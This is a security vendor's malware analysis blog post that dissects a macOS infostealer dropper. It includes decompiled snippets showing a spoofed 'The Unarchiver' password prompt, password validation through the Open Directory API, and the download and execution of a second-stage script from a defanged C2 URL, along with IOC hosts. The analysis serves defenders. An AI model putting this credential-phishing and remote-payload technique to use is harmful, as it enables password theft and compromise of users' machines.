Skip to content
infostealer uses swiftui, opendirectory api to capture passwords
Blog Threat Intelligence InfoSteale...

InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords

Christopher Lopez Christopher Lopez
Senior macOS Security Researcher
21 min read

On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later, Hunt.io tweeted about the same new malware and then released a blog post about it on July 30. That post focused primarily on the malicious bash scripts that were downloaded from the command-and-control (C2) server and then executed as the second stage.

We wanted to take a close look at the first stage—specifically at the stealer’s dropper, which is written in Swift and leverages APIs not seen in other recent stealers to capture and verify the user’s password. Many detection methods focus on OSAscript; this malware takes a different approach to evade detection. 

Password Prompt

sub_1000061f8

We will start with the lock image seen in the prompt.

lock modal

The lock image is initialized using the Image.init(_:bundle:) call. The resizable method is then passed, which returns a pointer to the Image view.

10000642c    int64_t Image = Image.init(_:bundle:)('lock', 0xe400000000000000, 0)
<...>
100006468    int64_t resizeView = Image.resizable(capInsets:resizingMode:)(x22, Image, v0, v1, v2, v3)

The prompt text is created using StringInterpolation and a function (which I renamed getNameOfApp()) that queries for the name of the application. 

10000658c    LocalizedStringKey.Strin...(literalCapacity:interpolationCount:)(0x43, 1)
1000065ac    // A user password must be entered to allow the "
1000065ac    LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffd2, -0x7ffffffeffff52d0)
1000065b0    int64_t AppName_3 = getNameOfApp()
1000065b8    LocalizedStringKey.StringInterpolation.appendInterpolation(_:)()
1000065c0    _swift_bridgeObjectRelease(AppName_3)
1000065dc    // " application to run.
1000065dc    LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffeb, -0x7ffffffeffff52a0)
1000065e4    LocalizedStringKey.init(stringInterpolation:)(x20)

getNameOfApp()

This function uses the [NSBundle mainBundle] object to query for the CFBundleDisplayName inside the Info.plist of the application bundle. The binary that executes within this app bundle is called CryptoTrade, but the prompt displays the name The Unarchiver, since that’s the value set for the CFBundleDisplayName. 

Below is a portion of the Info.plist file in the application bundle that shows the value for the CFBundleDisplayName key. 

{
"BuildMachineOSBuild" => "23F79"
  "CFBundleDevelopmentRegion" => "en"
  "CFBundleDisplayName" => "The Unarchiver"
  "CFBundleExecutable" => "CryptoTrade"
  "CFBundleIconFile" => "AppIcon"
  "CFBundleIconName" => "AppIcon"
  "CFBundleIdentifier" => "Team-Apps.TheUnarchiver"
  "CFBundleInfoDictionaryVersion" => "6.0"
  "CFBundleName" => "CryptoTrade"
<...>

Because this function dynamically loads the name, this prompt can be used by other applications with a different CFBundleDisplayName and masquerade as other legitimate applications. 

Once the name is pulled from the Info.plist file, a Text view is created using StringInterpolation, which allows strings to be combined dynamically: "A user password must be entered to allow the [AppName] application to run."

100006800    password, x1_13, x2_8, x3_4, v0_6 = LocalizedStringKey.init(stringLiteral:)('Password', 0xe800000000000000)

The default value in the password TextField is initialized as a LocalizedStringKey with the value Password, to persuade the victim to enter their password. 

10000686c    SecureField<>.init(_:text:onCommit:)(nop, nop)
10000687c    RoundedBorderTextFieldStyle.init()()
1000068e4    View.textFieldStyle<A>(_:)(x8_10, x0_2, x0_1, sub_1000099ac(&data_100010e68, &data_100010e48, protocol conformance descriptor for SecureField<A>), sub_1000096d8(&data_100010e70, type metadata accessor for RoundedBorderTextFieldStyle, protocol conformance descriptor for RoundedBorderTextFieldStyle))

The malware authors used a SecureField view, which conforms to the TextField protocol, to hide the password as the victim enters it, as they would for a legitimate application. 

After the text is set up, there's a branch (which I’ve renamed buttonSetups()) to set up the buttons in the prompt.

1000069a8    buttonSetups(arg1, x8_4 + sx.q(*(getTypeByMangledNameInContext2(&data_100010e78) + 0x2c)))

buttonSetups()

The first button seen in the prompt is for the Cancel button. Below is the disassembly for the Button.init method that accepts a function, TerminateAppAction, to run when the user clicks it. 

100007018    60288cd2   mov     x0, #0x6143
10000701c  c06dacf2   movk    x0, #0x636e, lsl #0x10
100007020  a08ccdf2   movk    x0, #0x6c65, lsl #0x20  {'Cancel'}
100007024  01c0fcd2   mov     x1, #0xe600000000000000
100007028  dd0a0094   bl      LocalizedStringKey.init(stringLiteral:)
10000702c  42000012   and     w2, w2, #0x1
100007030  04000090   adrp    x4, 0x100007000
100007034  84e00991   add     x4, x4, #0x278  {TerminateAppAction}
100007038  e80314aa   mov     x8, x20
10000703c  050080d2   mov     x5, #0
100007040  280b0094   bl      Button<>.init(_:action:)

The Button.init method uses the small Swift string Cancel. It is passed a closure (which we’ve renamed TerminateAppAction), which loads the NSApp sharedAppInstance and calls the terminate method. This results in the application terminating if the user clicks the Cancel button in the prompt. 

100007294    return _objc_msgSend(self: sharedAppInstance, cmd: "terminate:") __tailcall 
Button<>.init(_:action:)(unicodeChars, sizeOfUnicodeChars, zx.q(x2_3 & 1), x3, passwordCheck, swiftArray)

Password Check

The second OK button is then initialized. Inside of the Button.init method, a closure is passed that we’ve renamed passwordCheck:

10000926c    int64_t passwordCheck(void* arg1 @ x20)
100009270    return buttonAction(arg1 + 0x10) __tailcall

buttonAction()

This function then returns another function (renamed buttonAction) that continues the setup. Inside this buttonAction function, there’s password-checking behavior; completion of that triggers the download of malicious scripts.  

To understand where the password that was passed to SecureField lives at this point in the execution, we need to introduce the Swift property wrapper called State. State is used to read and write a value by SwiftUI. The password is tied to this @State property wrapper. We can see evidence of this prior to the passwordChecker() function call, in the name of State.wrappedValue.getter(). This is a getter method for the value wrapped to State

1000072f8    State.wrappedValue.getter()
100007304    int64_t sizeOfPassword
100007304    int64_t password
100007304    int32_t IsPasswordCorrect = passwordChecker(sizeOfPassword, password)

passwordChecker()

Now we branch to a function I named passwordChecker. It returns a Boolean value, which is checked to either request the password again or continue. 

The passwordChecker() function leverages Objective-C Open Directory APIs. (Open Directory is Apple’s version of the Lightweight Directory Access Protocol, LDAP.  Every macOS system has an Open Directory database that contains important information about users and groups, including permissions to resources.) Let’s walk through the setup. 

1000082bc    int64_t passwordChecker(int64_t sizeOfPassword, int64_t password)
10000830c    id defaultOD = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_ODSession), cmd: "defaultSession"))
10000831c    void* ODNode = _objc_allocWithZone(_OBJC_CLASS_$_ODNode)
100008328    id defaultODRetained = _objc_retain(obj: defaultOD)
100008340    void* localNode = OpenDirectorySetup(defaultOD, kODNodeTypeLocalNodes: 0x2200, ODNode)
100008390    id localNode_1 = localNode

The ODSession object is loaded and passed the defaultSession method to create a session object. An ODNode object is then also loaded. Finally, these two objects are passed to another function, which I renamed OpenDirectorySetup

OpenDirectorySetup()

Inside this function, the Open Directory objects are used to initialize a new OD session of type Local

100007834    void* OpenDirectorySetup(int64_t defaultOD, int64_t kODNodeTypeLocalNodes, void* ODNode @ x20)
100007840    void* ODNode_1 = ODNode
100007860    int64_t x8 = *___stack_chk_guard
100007880    int64_t x4
100007880    void* LocalNode = _objc_msgSend(self: ODNode, cmd: "initWithSession:type:error:", defaultOD, kODNodeTypeLocalNodes, x4)   

This function accepts three arguments: the default Open Directory object, the ODNode object, and the value 0x2200 which is passed into a method as the value kODNodeTypeLocalNodes; this is the node for the local directory of the macOS system. 

Inside this function, the ODNode object is used to call the initWithSession:type:error: method, which creates a node object with a specified session and type. This node object is then checked by the caller for errors. If a localNode was successfully created it continues to build a record.

100008394    else
1000083a0        id currentUser = _objc_retainAutoreleasedReturnValue(obj: _NSUserName()
1000083a4        id currentUser_1 = currentUser
1000083a4         
<...>
1000083d0        id _kODRecordTypeUsers = _objc_retain(obj: *_kODRecordTypeUsers)
<...>
10000841c        id ODRecord = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: localNode_1, cmd: "recordWithRecordType:name:attributes:error:", _kODRecordTypeUsers, currentUser_1, NSArray, x5_1))

Executing the NSUserName() function queries the current user. The _kODRecordTypeUsers global variable is then used as a record type and passed to the recordWithRecordType:name:attributes:error: method. This returns an Open Directory record. 

After some error handling, the OD record is then passed the verifyPassword:error method, along with the password which is converted to an NSString that would be submitted by the victim. 

100008440    else
100008448 _objc_retain(obj: obj_3)
100008454        int64_t passwordObject = String._bridgeToObjectiveC()(sizeOfPassword, password)
10000845c        null = nullptr
100008474        int32_t passWordVerify = _objc_msgSend(self: ODRecord, cmd: "verifyPassword:error:", passwordObject, &null)

This verifyPassword:error: method checks the captured password against the ODRecord for the /Local/Default dsAttrTypeStandard:AppleMetaNodeLocation. /Local/Default is the default directory database of the local computer. The password will be checked against this record, which would be the same password as the administrator and will return a 1 for true if successful. 

The Open Directory Record appears to be used for password verification. In arm64 for Objective-C, X0 is used for the class object, X1 is used for the selector (method passed to the object), and X2 would be the first argument. objc_msgSend is then called to handle the message-passing, and the result is returned in X0

Using the values seen in the registers above, we can visualize how the Objective-C would look:

[ODRecord verifyPassword: passwordCaptured error:&error]

Return to buttonAction()

After the password verification is complete, code execution returns to the buttonAction() function to handle the result of the password checker. 

If the password check returns false—indicating that it is not the correct password—then a branch to animate a shake for the prompt (which I named promptWiggle()) will occur. 

100007314    if ((IsPasswordCorrect & 1) == 0)
10000738c promptWiggle()

If the password is correct, the execution continues, and the sharedAppInstance is queried using the NSApp() function.

100007314    else
100007320 void* sharedAppInstance = *_NSApp
100007320         
100007324 if (sharedAppInstance == 0)
1000073ac trap(1)
1000073ac         
100007338          id mainWindow = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: sharedAppInstance, cmd: "keyWindow"))
100007348          _objc_msgSend(self: mainWindow, cmd: "close")

The keyWindow object for the app is then passed to the close method which would close the main app window. 

sub_100008670: C2 Download Setup

This then leads to the download preparation for the bash scripts. 

10000875c      // hxxps[:]//cryptomac.dev/download/grabber[.]zip
10000875c      URL.init(string:)(0xd00000000000002a, 0x800000010000ad80)

The C2 server is first seen being initialized as a URL type. Swift strings are structs, and this is an example of a large Swift string object, since the bridge object begins with 0xd and contains the size of the string at the least significant bits of the object: 0x2a

{
0xd00000000000002a - Bridge Object
0x800000010000ad80 - Pointer to string before nibble added
}

The address of the string is at 0x10000ad80 + 0x20, to account for the nibble. We can use Binary Ninja to add the 0x20 nibble to the address of the string and see the URL for the C2 using the binary view (bv) object and read method:

>>> bv.read(0x10000ad80+0x20, 0x2a)
b'hxxps[:]//cryptomac.dev/download/grabber[.]zip'

1000087ac    id defaultMan = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSFileManager), cmd: "defaultManager"))
1000087bc    int64_t x25_1 = 1
1000087d0    id _~/Library/ = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: defaultMan, cmd: "URLsForDirectory:inDomains:", 5, 1))
1000087dc    _objc_release(obj: defaultMan)
1000087e8    void* swiftArray = static Array._unconditionallyBridgeFromObjectiveC(_:)(_~/Library/, x0_1)

The defaultManager object is created and passed the URLsForDirectory:inDomains: method: [defaultManager URLsForDirectory:5 inDomains:1]. This returns an NSArray for the ~/Library path. This NSArray is then passed to the Array._unconditionallyBridgeFromObjectiveC function to be converted to a Swift array. 

The URL path is then appended with the small Swift string grabber to set up the directory that will be used later. 

100008874      URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)

 

downloadFile()

After this setup, we branch to a function to download the zip file from the C2: 

100008898      downloadFile(url, x23, sizeOfPassword, password)

This function (which we renamed) handles the download of the zip file from the C2.

100008584      id urlSession = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSURLSession), cmd: "sharedSession"))
10000858c      int64_t url = URL._bridgeToObjectiveC()()
1000085a4      void* swiftArray = _swift_allocObject(&data_10000c7c8, 0x20, 7)
1000085a8      *(swiftArray + 0x10) = sizeOfPassword
1000085a8      *(swiftArray + 0x18) = password
1000085b4      int64_t (* var_50)(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20) = branchToHandleDownload
1000085c0      int64_t (* const aBlock)() = __NSConcreteStackBlock
1000085cc      int64_t var_68 = 0x42000000
1000085e0      int64_t (* var_60)(void* arg1, int64_t arg2, id arg3, id arg4) = sub_100005ea8
1000085e0      void* const var_58 = &data_10000c7e0
1000085e8      void* aBlock_1 = __Block_copy(&aBlock)
1000085f8      _swift_bridgeObjectRetain(password)
100008600      _swift_release(swiftArray)
100008620      id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: urlSession, cmd: "downloadTaskWithURL:completionHandler:", url, aBlock_1))

An NSURL session object is created, and the URL that was passed in is bridged to an NSURL. A block is set up that will be passed to the downloadTaskWithURL:completionHandler: method. This block (which we renamed branchToHandleDownload) sets up an NSTask object to handle the file that is downloaded. 

branchToHandleDownload()

A block was passed to the completionHandler argument for the download task method. This block will execute after the download task is completed.

1000096b8    int64_t branchToHandleDownload(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20)
1000096bc    return NSTask_setup(arg1, arg2, arg3, *(arg4 + 0x10), *(arg4 + 0x18)) __tailcall

This function returns a function (which we renamed NSTask_setup). 

NSTask_setup()

Inside this block, we have the setup for an NSTask, which will spawn a child process to execute code to manage things after the download is completed.

Using the NSFileManager class, a check for the grabber directory is completed. If the directory does not exist, it is created using the createDirectoryAtURL:withIntermediateDirectories:attributes:error: method. 

1000059e0    int32_t DoesDirectoryExist = _objc_msgSend(self: defMan, cmd: "fileExistsAtPath:", NSUrl: ~/Library/grabber)
1000059ec    _objc_release(obj: NSUrl: ~/Library/grabber)
1000059ec     
1000059f0    if ((DoesDirectoryExist & 1) != 0)
1000059f0        goto label_100005a4c
1000059f8    int64_t URL: ~/Library/grabber_1 = URL._bridgeToObjectiveC()()
100005a00    id null = nullptr
100005a20    int32_t directoryCreateSuccess = _objc_msgSend(self: defMan, cmd: "createDirectoryAtURL:withIntermediateDirectories:attributes:error:", URL: ~/Library/grabber_1, 1, 0, &null)

If the directory does already exist then there is a branch to 0x100005a4c to continue execution. 

100005a4c    label_100005a4c:
100005a4c    unzipAndDecode()
100005aa4    URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)
100005ac8    URL.appendingPathComponent(_:)('main.sh', 0xe700000000000000)

Once that creation is completed (or if the directory already exists), a branch to a function for unzipping the file downloaded and decoding the contents of the file is completed. The path to the main script will be ~/Library/grabber/main.sh.

unzipAndDecode()

This function prepares an NSTask call to unzip the file that is downloaded, since this function is part of the block that was passed to the completionHandler for the URLSession object. 

100008998      void* task = -[_TtC11CryptoTrade11AppDelegate init](self: _objc_allocWithZone(_OBJC_CLASS_$_NSTask), sel: "init")
1000089c4      URL.init(fileURLWithPath:)('/usr/bin', '/unzip\x00\xee')
1000089c8      int64_t _/usr/bin/unzip = URL._bridgeToObjectiveC()()
1000089d0      (*(x19 + 8))(x20, x0_2)
1000089f0      _objc_msgSend(self: task, cmd: "setExecutableURL:", _/usr/bin/unzip)

The NSTask object is passed the setExecutableURL: method for the path /usr/bin/unzip. The argument array used by the unzip command is set up here: 

100008a10    argArray, v0 = _swift_allocObject(getTypeByMangledNameInContext2(&data_100010ec0), 0x50, 7)
100008a20    *(argArray + 0x10) = data_10000a200
100008a28    int64_t x0_9
100008a28    int64_t x1_2
100008a28    x0_9, x1_2 = URL.path.getter()
100008a2c    *(argArray + 0x20) = x0_9
100008a2c    *(argArray + 0x28) = x1_2
100008a38    *(argArray + 0x30) = '-d'
100008a38    *(argArray + 0x38) = 0xe200000000000000
100008a40    int64_t url
100008a40    int64_t sizeOFURL
100008a40    url, sizeOFURL = URL.path.getter()
100008a44    *(argArray + 0x40) = url
100008a44    *(argArray + 0x48) = sizeOFURL
100008a58    int64_t argArray_1 = Array._bridgeToObjectiveC()(argArray, type metadata for String)
100008a64    _swift_release(argArray)
100008a78    _objc_msgSend(self: task, cmd: "setArguments:", argArray_1)

 

For the NSArray arguments that are passed to the setArguments method, a Swift array is allocated and set up with the -d argument and path. Once the NSTask object is set up and executed, execution is returned to the caller which continues another NSTask setup.

100005bd8    void* task = _objc_allocWithZone(_OBJC_CLASS_$_NSTask)
100005be4    _objc_retain(obj: obj_8)
100005bf4    id obj_3 = -[_TtC11CryptoTrade11AppDelegate init](self: task, sel: "init")
100005c00    int64_t pathToDownloadedScript = URL._bridgeToObjectiveC()()
100005c18    _objc_msgSend(self: obj_3, cmd: "setExecutableURL:", pathToDownloadedScript)
100005c20    _objc_release(obj: pathToDownloadedScript)

Once unzipped, the script is targeted using the URL object ~/Library/grabber/main.sh, which is passed to the setExecutableURL method. This begins the second stage of the malware chain. 

Recap

This dropper differs from other recent stealers by leveraging swiftUI for the prompt creation, by using Open Directory APIs for verifying the captured user password, and by primarily using APIs to complete actions that would not generate process events. 

IOCs

  • 122877b338ec943ac0b33dcedc973aab6db48dd93cd30263255a7e7351ee60e6 (mach-O)
  • hxxps[:]//cryptomac.dev/download/grabber[.]zip  (Stage 2 C2)
  • hxxp[://]81.19.137[.]179/api/index.php (data exfil C2)

About Kandji

Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.